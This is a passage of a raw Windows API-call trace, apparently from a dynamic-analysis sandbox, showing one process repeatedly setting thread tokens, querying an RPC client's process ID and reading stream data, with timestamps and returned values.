TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.239] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.239] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.239] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.239] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.241] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.241] GetCurrentThread () returned 0xfffffffffffffffe [0147.241] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.241] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.241] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.241] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x28, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.242] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.242] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.243] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.243] GetCurrentThread () returned 0xfffffffffffffffe [0147.243] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.243] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.243] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.243] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.243] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.243] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.244] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.244] GetCurrentThread () returned 0xfffffffffffffffe [0147.244] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.244] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.244] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.244] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.244] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.244] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.245] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.245] GetCurrentThread () returned 0xfffffffffffffffe [0147.245] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.246] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.246] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.246] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x61, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.246] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.246] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.247] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.247] GetCurrentThread () returned 0xfffffffffffffffe [0147.247] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.247] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.247] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.247] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x23, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.247] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.247] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.248] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.248] GetCurrentThread () returned 0xfffffffffffffffe [0147.248] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.248] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.248] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.248] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.248] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.249] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.249] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.249] GetCurrentThread () returned 0xfffffffffffffffe [0147.249] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.250] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.250] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.250] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbd, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.250] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.250] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.251] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.251] GetCurrentThread () returned 0xfffffffffffffffe [0147.251] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.251] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.251] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.251] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x79, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.251] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.251] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.252] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.252] GetCurrentThread () returned 0xfffffffffffffffe [0147.252] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.252] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.252] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.252] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xad, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.253] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.253] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.253] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.254] GetCurrentThread () returned 0xfffffffffffffffe [0147.254] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.254] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.254] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.254] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.254] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.254] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.255] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.255] GetCurrentThread () returned 0xfffffffffffffffe [0147.255] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.255] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.255] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.255] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd3, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.255] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.255] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.256] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.256] GetCurrentThread () returned 0xfffffffffffffffe [0147.256] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.256] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.256] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.257] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xea, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.257] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.257] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.258] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.258] GetCurrentThread () returned 0xfffffffffffffffe [0147.258] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.258] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.258] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.258] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.258] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.258] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.259] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.259] GetCurrentThread () returned 0xfffffffffffffffe [0147.259] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.259] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.259] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.259] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x4a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.259] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.259] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.260] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.260] GetCurrentThread () returned 0xfffffffffffffffe [0147.260] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.260] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.261] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.261] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.261] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.261] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.262] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.262] GetCurrentThread () returned 0xfffffffffffffffe [0147.262] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.262] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.262] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.262] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x28, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.262] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.262] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.263] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.263] GetCurrentThread () returned 0xfffffffffffffffe [0147.263] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.263] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.263] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.263] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x23, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.263] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.263] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.264] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.264] GetCurrentThread () returned 0xfffffffffffffffe [0147.264] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.264] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.265] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.265] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xcf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.265] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.265] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.266] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.266] GetCurrentThread () returned 0xfffffffffffffffe [0147.266] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.266] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.266] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.266] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x50, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.266] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.266] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.267] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.267] GetCurrentThread () returned 0xfffffffffffffffe [0147.267] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.267] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.267] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.267] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x96, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.267] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.267] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.268] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.268] GetCurrentThread () returned 0xfffffffffffffffe [0147.268] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.268] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.269] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.269] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x28, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.269] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.269] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.270] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.270] GetCurrentThread () returned 0xfffffffffffffffe [0147.270] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.270] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.270] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.270] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x55, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.270] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.270] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.272] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.272] GetCurrentThread () returned 0xfffffffffffffffe [0147.272] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.272] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.272] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.272] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2d, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.273] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.273] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.275] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.275] GetCurrentThread () returned 0xfffffffffffffffe [0147.275] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.275] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.275] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.275] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x2b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.275] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.275] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.276] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.276] GetCurrentThread () returned 0xfffffffffffffffe [0147.276] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.277] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.277] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.277] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.277] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.277] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.278] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.278] GetCurrentThread () returned 0xfffffffffffffffe [0147.278] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.278] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.278] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.278] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x0, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.278] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.278] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.279] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.279] GetCurrentThread () returned 0xfffffffffffffffe [0147.279] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.279] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.279] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.279] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x95, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.280] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.280] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.281] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.281] GetCurrentThread () returned 0xfffffffffffffffe [0147.281] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.281] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.281] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.281] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x78, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.281] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.281] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.283] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.283] GetCurrentThread () returned 0xfffffffffffffffe [0147.283] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.283] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.283] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.283] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb4, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.283] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.283] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.285] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.285] GetCurrentThread () returned 0xfffffffffffffffe [0147.285] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.285] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.285] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.285] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.285] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.286] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.287] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.287] GetCurrentThread () returned 0xfffffffffffffffe [0147.287] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.287] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.287] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.287] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x16, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.287] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.287] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.288] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.288] GetCurrentThread () returned 0xfffffffffffffffe [0147.288] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.288] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.288] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.288] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x36, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.289] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.289] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.290] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.290] GetCurrentThread () returned 0xfffffffffffffffe [0147.290] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.290] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.290] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.290] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.290] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.290] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.291] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.292] GetCurrentThread () returned 0xfffffffffffffffe [0147.292] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.292] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.292] SetThreadToken 